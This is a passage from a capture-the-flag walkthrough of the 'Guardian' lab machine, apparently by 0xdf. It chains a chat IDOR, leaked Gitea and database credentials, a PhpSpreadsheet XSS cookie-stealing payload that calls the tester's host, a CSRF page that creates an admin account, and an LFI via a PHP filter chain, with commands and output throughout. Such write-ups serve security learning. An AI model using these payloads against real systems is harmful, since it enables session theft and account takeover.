http://portal.guardian.htb/student/chat.php?chat_users[0]=7&chat_users[1]=8
http://portal.guardian.htb/student/chat.php?chat_users[0]=7&chat_users[1]=9
http://portal.guardian.htb/student/chat.php?chat_users[0]=10&chat_users[1]=9
http://portal.guardian.htb/student/chat.php?chat_users[0]=9&chat_users[1]=10
http://portal.guardian.htb/student/chat.php?chat_users[0]=8&chat_users[1]=10
http://portal.guardian.htb/student/chat.php?chat_users[0]=12&chat_users[1]=11
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=11
http://portal.guardian.htb/student/chat.php?chat_users[0]=11&chat_users[1]=12
http://portal.guardian.htb/student/chat.php?chat_users[0]=14&chat_users[1]=12
http://portal.guardian.htb/student/chat.php?chat_users[0]=11&chat_users[1]=13
http://portal.guardian.htb/student/chat.php?chat_users[0]=14&chat_users[1]=13
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14
http://portal.guardian.htb/student/chat.php?chat_users[0]=12&chat_users[1]=14
http://portal.guardian.htb/student/chat.php?chat_users[0]=17&chat_users[1]=15
http://portal.guardian.htb/student/chat.php?chat_users[0]=16&chat_users[1]=15
http://portal.guardian.htb/student/chat.php?chat_users[0]=15&chat_users[1]=16
http://portal.guardian.htb/student/chat.php?chat_users[0]=18&chat_users[1]=16
http://portal.guardian.htb/student/chat.php?chat_users[0]=15&chat_users[1]=17
http://portal.guardian.htb/student/chat.php?chat_users[0]=18&chat_users[1]=17
http://portal.guardian.htb/student/chat.php?chat_users[0]=17&chat_users[1]=18
http://portal.guardian.htb/student/chat.php?chat_users[0]=16&chat_users[1]=18
http://portal.guardian.htb/student/chat.php?chat_users[0]=20&chat_users[1]=19
http://portal.guardian.htb/student/chat.php?chat_users[0]=21&chat_users[1]=19
http://portal.guardian.htb/student/chat.php?chat_users[0]=19&chat_users[1]=20
http://portal.guardian.htb/student/chat.php?chat_users[0]=22&chat_users[1]=20
http://portal.guardian.htb/student/chat.php?chat_users[0]=19&chat_users[1]=21
http://portal.guardian.htb/student/chat.php?chat_users[0]=20&chat_users[1]=22
http://portal.guardian.htb/student/chat.php?chat_users[0]=24&chat_users[1]=23
http://portal.guardian.htb/student/chat.php?chat_users[0]=23&chat_users[1]=24
http://portal.guardian.htb/student/chat.php?chat_users[0]=26&chat_users[1]=25
http://portal.guardian.htb/student/chat.php?chat_users[0]=25&chat_users[1]=26
http://portal.guardian.htb/student/chat.php?chat_users[0]=28&chat_users[1]=27
http://portal.guardian.htb/student/chat.php?chat_users[0]=27&chat_users[1]=28
http://portal.guardian.htb/student/chat.php?chat_users[0]=30&chat_users[1]=29
http://portal.guardian.htb/student/chat.php?chat_users[0]=29&chat_users[1]=30
http://portal.guardian.htb/student/chat.php?chat_users[0]=32&chat_users[1]=31
http://portal.guardian.htb/student/chat.php?chat_users[0]=31&chat_users[1]=32
http://portal.guardian.htb/student/chat.php?chat_users[0]=34&chat_users[1]=33
http://portal.guardian.htb/student/chat.php?chat_users[0]=33&chat_users[1]=34
http://portal.guardian.htb/student/chat.php?chat_users[0]=36&chat_users[1]=35
http://portal.guardian.htb/student/chat.php?chat_users[0]=35&chat_users[1]=36
http://portal.guardian.htb/student/chat.php?chat_users[0]=38&chat_users[1]=37
http://portal.guardian.htb/student/chat.php?chat_users[0]=37&chat_users[1]=38
http://portal.guardian.htb/student/chat.php?chat_users[0]=40&chat_users[1]=39
http://portal.guardian.htb/student/chat.php?chat_users[0]=39&chat_users[1]=40
However, there’s a duplication here, as chat_users[0]=39&chat_users[1]=40 and chat_users[0]=40&chat_users[1]=39 will return the same information. I’ll use jq to select chats where id 0 is less than id 1:
oxdf@hacky$ cat chats.json | jq '.results[] | select((.input.NUM1 | tonumber) < (.input.NUM2 | tonumber)) | .url' -r | cut -d'?' -f2
chat_users[0]=1&chat_users[1]=2
chat_users[0]=1&chat_users[1]=3
chat_users[0]=2&chat_users[1]=3
chat_users[0]=1&chat_users[1]=4
chat_users[0]=3&chat_users[1]=4
chat_users[0]=2&chat_users[1]=5
chat_users[0]=5&chat_users[1]=6
chat_users[0]=4&chat_users[1]=6
chat_users[0]=7&chat_users[1]=8
chat_users[0]=7&chat_users[1]=9
chat_users[0]=9&chat_users[1]=10
chat_users[0]=8&chat_users[1]=10
chat_users[0]=11&chat_users[1]=12
chat_users[0]=11&chat_users[1]=13
chat_users[0]=13&chat_users[1]=14
chat_users[0]=12&chat_users[1]=14
chat_users[0]=15&chat_users[1]=16
chat_users[0]=15&chat_users[1]=17
chat_users[0]=17&chat_users[1]=18
chat_users[0]=16&chat_users[1]=18
chat_users[0]=19&chat_users[1]=20
chat_users[0]=19&chat_users[1]=21
chat_users[0]=20&chat_users[1]=22
chat_users[0]=23&chat_users[1]=24
chat_users[0]=25&chat_users[1]=26
chat_users[0]=27&chat_users[1]=28
chat_users[0]=29&chat_users[1]=30
chat_users[0]=31&chat_users[1]=32
chat_users[0]=33&chat_users[1]=34
chat_users[0]=35&chat_users[1]=36
chat_users[0]=37&chat_users[1]=38
chat_users[0]=39&chat_users[1]=40
I’ll have Claude write me a script to format results:
#!/bin/bash
# Dump all unique chat contents from chats.json
COOKIE="PHPSESSID=ht2atm7aip5jqku6531oabqone"
cat chats.json | jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | "\(.input.NUM1) \(.input.NUM2) \(.url)"' | while read -r n1 n2 url; do
echo "========== Chat: User $n1 <-> User $n2 =========="
curl -gs "$url" -b "$COOKIE" | awk '
/text-sm text-gray-500 mb-1/ {
getline
gsub(/<span.*/, "", $0)
gsub(/^[[:space:]]+|[[:space:]]+$/, "")
sender=$0
next
}
/class="text-gray-800"/ {
getline
gsub(/<\/div>.*/, "", $0)
gsub(/^[[:space:]]+|[[:space:]]+$/, "")
if (sender != "") print sender ": " $0
}
'
echo
done
It assumes the given cookie is logged in. Then it gets each URL, fetches it with curl, and processes the results:
oxdf@hacky$ bash scripts_claude/dump_chats.sh
========== Chat: User 1 <-> User 2 ==========
admin: Hello! How are you doing today?
admin: Here is your password for gitea: DHsNnk3V503
jamil.enockson: I am doing great, thanks.
========== Chat: User 1 <-> User 3 ==========
admin: Hey, I have a quick question regarding the assignment submission.
mark.pargetter: Sure, feel free to ask! What’s your question?
========== Chat: User 2 <-> User 3 ==========
mark.pargetter: Sure! I’ll provide detailed feedback by the end of the day.
jamil.enockson: Could you give me feedback on my last presentation?
========== Chat: User 1 <-> User 4 ==========
admin: What time is the meeting tomorrow?
valentijn.temby: The meeting is scheduled for 10 AM.
========== Chat: User 3 <-> User 4 ==========
mark.pargetter: Reminder: Your assignment is due tomorrow. Please submit it on time.
valentijn.temby: Thanks for the reminder! I will make sure to submit it.
========== Chat: User 2 <-> User 5 ==========
leyla.rippin: I’m available tomorrow afternoon. Does that work for you?
jamil.enockson: Can we schedule a meeting to discuss your recent project?
========== Chat: User 5 <-> User 6 ==========
leyla.rippin: Can you clarify the requirements for the upcoming project?
perkin.fillon: Of course! I will send you more details shortly.
========== Chat: User 4 <-> User 6 ==========
valentijn.temby: Just wanted to remind you about the upcoming exam next week.
perkin.fillon: Thanks for the reminder. I will make sure to prepare well.
========== Chat: User 7 <-> User 8 ==========
cyrus.booth: Don’t forget about the meeting later today.
sammy.treat: Thanks for the heads-up! I’ll be there on time.
========== Chat: User 7 <-> User 9 ==========
cyrus.booth: The system is not letting me upload my assignment. Could you help?
crin.hambidge: I’ll check it and get back to you in a few minutes.
========== Chat: User 9 <-> User 10 ==========
crin.hambidge: Please check the updated syllabus on the portal.
myra.galsworthy: Got it! I’ll review the syllabus and let you know if I have any questions.
========== Chat: User 8 <-> User 10 ==========
sammy.treat: I had some trouble accessing the course materials. Can you assist?
myra.galsworthy: I’ll help you out with that. I’ll send you the links directly.
========== Chat: User 11 <-> User 12 ==========
mireielle.feek: The lecture today was very informative.
vivie.smallthwaite: I’m glad you found it helpful! Let me know if you need any further explanation.
========== Chat: User 11 <-> User 13 ==========
mireielle.feek: Great job on your presentation yesterday!
GU0142023: Thank you! I appreciate the feedback.
========== Chat: User 13 <-> User 14 ==========
GU0142023: Can you help me with a few questions from the last exam?
GU6262023: Sure! I’ll assist you with those questions.
========== Chat: User 12 <-> User 14 ==========
vivie.smallthwaite: Are you available to review my code this evening?
GU6262023: Sure, I’ll be free after 7 PM. Let’s connect then.
========== Chat: User 15 <-> User 16 ==========
GU0702025: I missed class yesterday due to a personal issue. Can you share the notes?
GU0762023: No worries! I’ll send you the class notes right away.
========== Chat: User 15 <-> User 17 ==========
GU0702025: Can you explain the concept of polymorphism in the next lecture?
GU9492024: I’ll make sure to explain that in detail during the next class.
========== Chat: User 17 <-> User 18 ==========
GU9492024: The assignment submission link seems to be broken. Can you check it?
GU9612024: I’ll report the issue right now and update you shortly.
========== Chat: User 16 <-> User 18 ==========
GU0762023: Is there any update on the program schedule for next semester?
GU9612024: I will share the updated schedule as soon as I get the final confirmation.
========== Chat: User 19 <-> User 20 ==========
GU7382024: I have uploaded my project to the system. Please review it when you can.
GU6632023: I’ve received it. I will review and give you feedback soon.
========== Chat: User 19 <-> User 21 ==========
GU7382024: I need help understanding the requirements for the final project.
GU1922024: I’ll send you the details about the final project and its requirements shortly.
========== Chat: User 20 <-> User 22 ==========
GU6632023: I just wanted to say thanks for your support during the last project.
GU8032023: It was my pleasure! I’m glad I could help.
========== Chat: User 23 <-> User 24 ==========
GU5852023: Can we extend the submission deadline for the assignment?
GU0712023: I’ll check with the professor and let you know if an extension is possible.
========== Chat: User 25 <-> User 26 ==========
GU1592025: I found some errors in the last test. Are you aware of them?
GU1112023: Thanks for pointing that out. I’ll address it with the team right away.
========== Chat: User 27 <-> User 28 ==========
GU6432025: Can you send me the link to the course discussion forum?
GU3042024: I’ll send it over shortly.
========== Chat: User 29 <-> User 30 ==========
GU1482025: I need help with the software installation for the course.
GU3102024: I’ll send you a step-by-step guide on how to install it.
========== Chat: User 31 <-> User 32 ==========
GU7232023: I’ve updated my contact information in the portal. Please check it.
GU8912024: Thanks for updating! I’ve confirmed it on the system.
========== Chat: User 33 <-> User 34 ==========
GU4752025: Could you please explain the grading criteria for the course?
GU9602024: I’ll share the grading rubric with you by tomorrow.
========== Chat: User 35 <-> User 36 ==========
GU4382025: Can you send me a reminder about the upcoming deadline?
GU7352023: Of course! I’ll remind you a day before the deadline.
========== Chat: User 37 <-> User 38 ==========
GU3042025: Are you available for office hours this week?
GU3872024: Yes, I’ll be available on Wednesday from 3 PM to 5 PM.
========== Chat: User 39 <-> User 40 ==========
GU7462025: I missed the last lecture. Can you send me the slides?
GU3902023: I’ll send the slides to you via email shortly.
The interesting one is the first one, which gives a password for Gitea of “DHsNnk3V503” to jamil.enockson.
Find Gitea
I didn’t identify any interesting Gitea domains earlier when I fuzzed. I’ll get any domain in the SecLists DNS section that has the string “git” and try it with ffuf:
oxdf@hacky$ ffuf -u http://10.129.237.248 -H "Host: FUZZ.guardian.htb" -w <( cat /opt/SecLists/Discovery/DNS/* | grep git | sort -u ) -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.237.248
:: Wordlist : FUZZ: /dev/fd/63
:: Header : Host: FUZZ.guardian.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
gitea [Status: 200, Size: 13498, Words: 1049, Lines: 245, Duration: 27ms]
:: Progress: [14485/14485] :: Job [1/1] :: 1769 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
I could have probably just guessed it would be gitea.guardian.htb. I’ll add this to my /etc/hosts file. Now visiting http://gitea.guardian.htb returns an instance of Gitea:
The username jamil.enockson@guardian.htb with the password from chat works to login!
Lecturer Portal Access
Source Code Overview
I’ll clone the portal.guardian.htb repo to my host, putting the username and password in the URL (encoding the “@” in the email):
oxdf@hacky$ git clone http://jamil.enockson%40guardian.htb:DHsNnk3V503@gitea.guardian.htb/Guardian/portal.guardian.htb.git
Cloning into 'portal.guardian.htb'...
remote: Enumerating objects: 3555, done.
remote: Counting objects: 100% (3555/3555), done.
remote: Compressing objects: 100% (2758/2758), done.
remote: Total 3555 (delta 757), reused 3555 (delta 757), pack-reused 0
Receiving objects: 100% (3555/3555), 6.75 MiB | 15.67 MiB/s, done.
Resolving deltas: 100% (757/757), done.
Updating files: 100% (3326/3326), done.
The PHP project is set up with four main PHP pages at the root, along with the Composer configuration, and then directories for the various types of use:
The composer.lock file shows the external dependencies used:
{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}
The config/config.php file has creds to the database, as well as a salt value:
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
Chat IDOR
Not needed for going forward, but I’ll take a look at /student/chat.php. It starts by making sure that the user is authenticated and student:
if (!isAuthenticated() || $_SESSION['user_role'] !== 'student') {
header('Location: /login.php');
exit();
}
The it gets the two IDs from the URL (so it’s not possible to have more than two people in a chat), and uses the Message model to get messages between those two users:
$chat_sender_id = (int)$chat_users[0];
$chat_receiver_id = (int)$chat_users[1];
$messageModel = new Message($pdo);
$messages = $messageModel->getMessagesBetweenUsers($chat_sender_id, $chat_receiver_id);
The Message model is defined in models/Message.php, and getMessageBetweenUsers simply formats and makes an SQL query:
public function getMessagesBetweenUsers($user1_id, $user2_id)
{
$sql = "SELECT m.*, s.username as sender_name, r.username as receiver_name
FROM {$this->table} m
JOIN users s ON m.sender_id = s.user_id
JOIN users r ON m.receiver_id = r.user_id
WHERE (m.sender_id = :user1_id AND m.receiver_id = :user2_id)
OR (m.sender_id = :user2_id AND m.receiver_id = :user1_id)
ORDER BY m.sent_at ASC";
$stmt = $this->db->prepare($sql);
$stmt->execute(['user1_id' => $user1_id, 'user2_id' => $user2_id]);
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
There’s no validation at any point, which is why the IDOR works.
XSS in Assignment Submission
The only other place I could see in the site to submit something as a user is the assignment upload. The composer.json shows the versions. Searching for CVEs in this version of phpword doesn’t find anything interesting. Searching for phpspreadsheet however returns several different CVEs:
The Security Page on the PHPOffice GitHub is a quick way to look through known vulnerabilities. Two jump out as applying to 3.7.0:
- CVE-2025-23210 - XSS when parsing an XML file.
- CVE-2025-22131 - XSS when parsing an XLSX file.
Given the filter on the upload noted above, I’ll focus on the second one. The example vulnerable code in the advisory looks like:
<?php
require __DIR__ . '/vendor/autoload.php';
$inputFileName = 'payload.xlsx';
$spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
?>
There’s a lecturer/view-submission.php file that handles student uploads for lecturers. It processes uploaded spreadsheets with this code:
<?php if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx'): ?>
<div class="mt-8">
<h3 class="font-semibold text-gray-800 mb-3">Document Preview</h3>
<div class="overflow-x-auto bg-white p-4 border border-gray-200 rounded-lg">
<?php
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
?>
</div>
</div>
That looks exactly the same!
Generate Payload
The cookie used for state on this site is not set as httpOnly:
That means I can exfil it using XSS, with a payload like "> <img src=x onerror=fetch('http://10.10.14.60/exfil?cookie='+document.cookie)>. The advisory shows putting the payload as the name of a sheet. Libre Office Calc doesn’t let me rename a sheet like that:
I’ll save a workbook with two empty sheets as cookie.xlsx, and unzip it:
oxdf@hacky$ unzip cookie.xlsx -d xssbook/
Archive: cookie.xlsx
inflating: xssbook/xl/_rels/workbook.xml.rels
inflating: xssbook/xl/workbook.xml
inflating: xssbook/xl/theme/theme1.xml
inflating: xssbook/xl/styles.xml
inflating: xssbook/xl/worksheets/sheet1.xml
inflating: xssbook/xl/worksheets/sheet2.xml
inflating: xssbook/_rels/.rels
inflating: xssbook/docProps/core.xml
inflating: xssbook/docProps/app.xml
inflating: xssbook/[Content_Types].xml
The tab names are in xl/workbook.xml:
oxdf@hacky$ grep -r Sheet2 xssbook/
xssbook/xl/workbook.xml:<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="Calc"/><workbookPr backupFile="false" showObjects="all" date1904="false"/><workbookProtection/><bookViews><workbookView showHorizontalScroll="true" showVerticalScroll="true" showSheetTabs="true" xWindow="0" yWindow="0" windowWidth="16384" windowHeight="8192" tabRatio="500" firstSheet="0" activeTab="1"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" state="visible" r:id="rId3"/><sheet name="Sheet2" sheetId="2" state="visible" r:id="rId4"/></sheets><calcPr iterateCount="100" refMode="A1" iterate="false" iterateDelta="0.001"/><extLst><ext xmlns:loext="http://schemas.libreoffice.org/" uri="{7626C862-2A13-11E5-B345-FEFF819CDC9F}"><loext:extCalcPr stringRefSyntax="CalcA1"/></ext></extLst></workbook>
To edit the file inside the zip archive that is the Office doc, I like to use vim, as it can edit files inside the zip without changing the zip metadata or my having to re-zip it. I’ll make a copy of the empty workbook and open it with vim xss.xlsx. It shows a list of the files inside the archive:
I’ll move the cursor down to xl/workbook.xml and hit enter. It opens that file. I’ll edit the name, HTML-encoding the tags:
Now :wq to exit back to the zip archive view, and then :q to exit (no need to write here, and it may even throw an error). The file is still an Excel doc:
oxdf@hacky$ file xss.xlsx
xss.xlsx: Microsoft Excel 2007+
Deploy Payload
I’ll upload the document via the web form:
It reports success:
After a minute or two, there’s a hit on my Python webserver (python -m http.server 80):
10.129.237.248 - - [24/Feb/2026 22:51:53] code 404, message File not found
10.129.237.248 - - [24/Feb/2026 22:51:53] "GET /exfil?cookie=PHPSESSID=0a9pcffih704fkjksd8e197enm HTTP/1.1" 404 -
I’ll set that as my cookie in Firefox dev tools and refresh the dashboard:
I’m now a lecturer named sammy.treat.
Admin Portal Access
Site Enumeration
Looking around the site as lecturer, a major difference is the ability to create Notices:
Clicking that opens a form:
It takes a title, content, and a link (which will be reviewed by the admin).
Link Click POC
I’ll start by testing if the admin actually clicks the link.
When I submit, it says it worked and is waiting for approval:
A minute later there’s a request:
10.129.237.248 - - [24/Feb/2026 22:57:54] code 404, message File not found
10.129.237.248 - - [24/Feb/2026 22:57:54] "GET /notice HTTP/1.1" 404 -
10.129.237.248 - - [24/Feb/2026 22:57:54] code 404, message File not found
10.129.237.248 - - [24/Feb/2026 22:57:54] "GET /favicon.ico HTTP/1.1" 404 -
Identify CSRF Target
If the admin is going to click on a link I send them, I can use the source code to look for endpoints that do something interesting that I can get the admin to request. If I find a GET request, I can just make a full URL and send it. However, if I need to POST, I’ll have to create a page that creates a fake form and autosubmits it, dealing with an CSRF protections along the way.
Because this site is built on raw PHP (which is going to be exceedingly rare now), I can look at the PHP files in the admin directory to get an idea of what actions might be possible:
oxdf@hacky$ find . -name '*.php' | grep -F './admin'
./admin/chat.php
./admin/reports/academic.php
./admin/reports/financial.php
./admin/reports/enrollment.php
./admin/reports/system.php
./admin/chats.php
./admin/profile.php
./admin/enrollments.php
./admin/index.php
./admin/notices/create.php
./admin/notices/delete.php
./admin/notices/index.php
./admin/notices/approve.php
./admin/createuser.php
./admin/settings.php
./admin/reports.php
./admin/users.php
./admin/courses.php
createuser.php jumps out as interesting.
It imports some helper functions, creates a token, and validates that the user is logged in as an admin:
<?php
require '../includes/auth.php';
require '../config/db.php';
require '../models/User.php';
require '../config/csrf-tokens.php';
$token = bin2hex(random_bytes(16));
add_token_to_pool($token);
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$config = require '../config/config.php';
$salt = $config['salt'];
If the request is a POST request, it does the work of creating a new user. First, it checks the CSRF token:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$csrf_token = $_POST['csrf_token'] ?? '';
if (!is_valid_token($csrf_token)) {
die("Invalid CSRF token!");
}
Once it’s past that, it gets the data for the new user, validates that none of it is empty, and then creates the new user:
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$full_name = $_POST['full_name'] ?? '';
$email = $_POST['email'] ?? '';
$dob = $_POST['dob'] ?? '';
$address = $_POST['address'] ?? '';
$user_role = $_POST['user_role'] ?? '';
// Check for empty fields
if (empty($username) || empty($password) || empty($full_name) || empty($email) || empty($dob) || empty($address) || empty($user_role)) {
$error = "All fields are required. Please fill in all fields.";
} else {
$password = hash('sha256', $password . $salt);
$data = [
'username' => $username,
'password_hash' => $password,
'full_name' => $full_name,
'email' => $email,
'dob' => $dob,
'address' => $address,
'user_role' => $user_role
];
if ($userModel->create($data)) {
header('Location: /admin/users.php?created=true');
exit();
} else {
$error = "Failed to create user. Please try again.";
}
}
}
I can create a page that submits this POST request as the phished user, but I’ll need a valid CSRF token. For this, I’ll look into add_token_to_pool and is_valid_token. Both of these are defined in config/csrf-tokens.php:
<?php
$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool()
{
global $global_tokens_file;
return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];
}
function add_token_to_pool($token)
{
global $global_tokens_file;
$tokens = get_token_pool();
$tokens[] = $token;
file_put_contents($global_tokens_file, json_encode($tokens));
}
function is_valid_token($token)
{
$tokens = get_token_pool();
return in_array($token, $tokens);
}
It’s keeping a global list of tokens, and each time add_token_to_pool is called, it adds to that list. is_valid_token checks if the current token is in that list, but the list is never cleared or items never removed. That means if I can learn one CSRF token, I should be able to use it over and over.
add_token_to_pool is called at the top of lecturer/notices/create.php:
$token = bin2hex(random_bytes(16));
add_token_to_pool($token);
So as lecturer, I can grab a CSRF token and use it in the admin CSRF attack.
Create Payload
I’ll head back to my request to create a notice:
POST /lecturer/notices/create.php HTTP/1.1
Host: portal.guardian.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://portal.guardian.htb
Connection: keep-alive
Referer: http://portal.guardian.htb/lecturer/notices/create.php
Cookie: PHPSESSID=7v229pqv85nqobn4rt5phtpmo9
Upgrade-Insecure-Requests: 1
Priority: u=0, i
title=asdasd&content=asdasd&reference_link=http%3A%2F%2F10.10.14.60%2Fcsrf_createuser.html&csrf_token=aa760196c89548022e12266fc3cc7f04
The CSRF token there should still work. I’ll create an HTML page with a form that sends a POST to portal.guardian.htb/admin/createuser.php:
<html>
<body>
<form id="csrf" method="POST" action="http://portal.guardian.htb/admin/createuser.php">
<input type="hidden" name="username" value="oxdf2" />
<input type="hidden" name="password" value="oxdf1234" />
<input type="hidden" name="full_name" value="oxdf hacker" />
<input type="hidden" name="email" value="oxdf@guardian.htb" />
<input type="hidden" name="dob" value="1990-01-01" />
<input type="hidden" name="address" value="123 Hack Street" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="aa760196c89548022e12266fc3cc7f04" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
When the page loads, the script will run, and send that POST request. So if I can get the admin to load this page, they will create a user in the user oxdf in the admin role. A few seconds after sending the notice, I’ll get a hit:
10.129.237.248 - - [25/Feb/2026 00:47:44] "GET /csrf_createuser.html HTTP/1.1" 200 -
And then I can log in as oxdf and get an admin dashboard:
RCE
Enumeration
As Admin, the new addition to the menu bar is the “Reports” tab.
Clicking on any of the four reports loads a URL of the format http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php. The included pages are the reports files I found during enumeration earlier.
Local File Include
This is a classic (if not outdated) local file include (LFI). The source code shows what’s happening:
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
$report is set as whatever is in the request or reports/academic.php if nothing is provided. It checks for .. and that the included file ends with one of the four report files. Later on the page it uses include to load the file:
<?php include($report); ?>
If PHP is configured to allow for remote file inclusion, I could pass something like http://10.10.14.60/system.php in and it would load from my host. That doesn’t work here.
Instead I’ll use the php_filter_chain_generator from Synactiv. I’ve shown this multiple times before. In UpDown I did a Beyond Root section on this technique when it was new and created a YouTube video explaining it:
I’ve also shown it in Encoding, Pollution, and Checker.
I’ll use the Synacktiv tool to generate a POC chain:
oxdf@hacky$ uv run php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INI